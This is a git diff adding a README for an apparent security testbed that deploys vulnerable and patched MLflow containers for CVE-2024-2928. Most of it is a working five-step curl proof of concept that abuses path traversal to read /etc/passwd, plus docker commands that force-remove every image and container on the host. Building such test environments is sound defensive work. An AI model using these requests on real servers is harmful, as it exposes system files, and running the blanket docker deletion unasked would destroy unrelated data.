diff --git a/mlflow/CVE-2024-2928/README.md b/mlflow/CVE-2024-2928/README.md new file mode 100644 index 00000000..8eaed164 --- /dev/null +++ b/mlflow/CVE-2024-2928/README.md @@ -0,0 +1,43 @@ +# MLflow CVE-2024-2928 + +This directory contains the deployment config for MLflow instances vulnerable and fixed to CVE-2024-2928. MLflow versions below 2.11.2 are vulnerable to that arbitrary file read vulnerability. + +## How to Trigger the Vulnerability? + +To trigger the vulnerability, you can use the following five curl commands. In a vulnerable environment, after the final curl request, you can see the /etc/passwd file content in the response. +``` +# Create a malicious experiment: +curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "artifact_location": "http:///#/../../../../../../../../../../../../../../etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/experiments/create' + +# Associate a run to it (EXPERIMENT_ID is coming from the first curl request's response): +curl -X POST -H 'Content-Type: application/json' -d '{"experiment_id": "EXPERIMENT_ID"}' 'http://127.0.0.1:5000/api/2.0/mlflow/runs/create' + +# Create a registered model: +curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/registered-models/create' + +# Link a model version to the malicious run (RUN_ID is coming from the second curl request's response. It is below the lifecycle_stage key in the JSON response): +curl -X POST -H 'Content-Type: application/json' -d '{"name": "poc", "run_id": "RUN_ID", "source": "file:///etc/"}' 'http://127.0.0.1:5000/ajax-api/2.0/mlflow/model-versions/create' + +# Read /etc/passwd: +curl 'http://127.0.0.1:5000/model-versions/get-artifact?path=passwd&name=poc&version=1' +``` + +In case you cannot trigger the vulnerability, you might need to delete your existing container images because Docker might try to reuse them. + +``` +sudo docker rmi -f $(sudo docker images -aq) +sudo docker remove $(sudo docker ps -a -q) +``` +## Fixed version +``` +docker run -p 127.0.0.1:5000:5000 ghcr.io/mlflow/mlflow:v2.11.3 mlflow server --host 0.0.0.0 --port 5000 +``` + +The deployed service listens on `localhost:5000` after the docker completes its job. + +## Vulnerable version +``` +docker run -p 127.0.0.1:5000:5000 ghcr.io/mlflow/mlflow:v2.9.2 mlflow server --host 0.0.0.0 --port 5000 +``` + +The deployed service listens on `localhost:5000` after the docker completes its job.